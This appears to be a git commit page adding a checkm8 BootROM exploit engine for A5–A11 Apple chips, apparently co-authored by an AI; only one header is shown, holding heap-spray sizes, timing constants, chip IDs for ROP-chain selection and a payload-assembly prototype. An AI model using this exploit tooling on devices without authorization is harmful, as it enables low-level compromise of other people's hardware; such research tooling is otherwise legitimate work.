feat(exploit): Add checkm8 DFU exploit engine with payload headers
Four-stage checkm8 exploit (reset, spray, setup, patch) targeting A5-A11 BootROM vulnerability. Includes ROP chain headers for A10/A11 and shellcode placeholder. Verify via PWND: serial marker. Files created: - include/exploit/exploit.h - include/exploit/checkm8.h - include/exploit/checkm8_internal.h - src/exploit/checkm8.c - src/exploit/checkm8_stages.c - src/exploit/payload/rop_a10.h - src/exploit/payload/rop_a11.h - src/exploit/payload/shellcode.h - src/exploit/payload/ramdisk.h Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
parent
82bec20452
commit
17fca828a5
9 changed files with 911 additions and 0 deletions
33
include/exploit/checkm8_internal.h
Normal file
33
include/exploit/checkm8_internal.h
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
/* checkm8_internal.h -- Shared constants and helpers for checkm8 split files */
|
||||
|
||||
#ifndef CHECKM8_INTERNAL_H
|
||||
#define CHECKM8_INTERNAL_H
|
||||
|
||||
#include "exploit/exploit.h"
|
||||
|
||||
/* Heap spray parameters (from gaster analysis) */
|
||||
#define SPRAY_COUNT 26 /* Number of spray transfers */
|
||||
#define SPRAY_SIZE 0x800 /* Size of each spray chunk (2 KiB) */
|
||||
|
||||
/* Stall timeout for mid-stream abort (microseconds) */
|
||||
#define STALL_USEC 100000 /* 100 ms */
|
||||
|
||||
/* Maximum attempts for the full exploit sequence */
|
||||
#define MAX_EXPLOIT_TRIES 3
|
||||
|
||||
/* Short delay between exploit stages (microseconds) */
|
||||
#define STAGE_DELAY_USEC 10000 /* 10 ms */
|
||||
|
||||
/* CPID values for ROP chain selection */
|
||||
#define CPID_A10 0x8010
|
||||
#define CPID_A10X 0x8011
|
||||
#define CPID_A11 0x8015
|
||||
|
||||
/*
|
||||
* assemble_payload -- Build the exploit payload (ROP chain + shellcode)
|
||||
* for the given context's chip. Allocates ctx->payload_buf.
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int assemble_payload(exploit_ctx_t *ctx);
|
||||
|
||||
#endif /* CHECKM8_INTERNAL_H */
|
||||
Loading…
Add table
Add a link
Reference in a new issue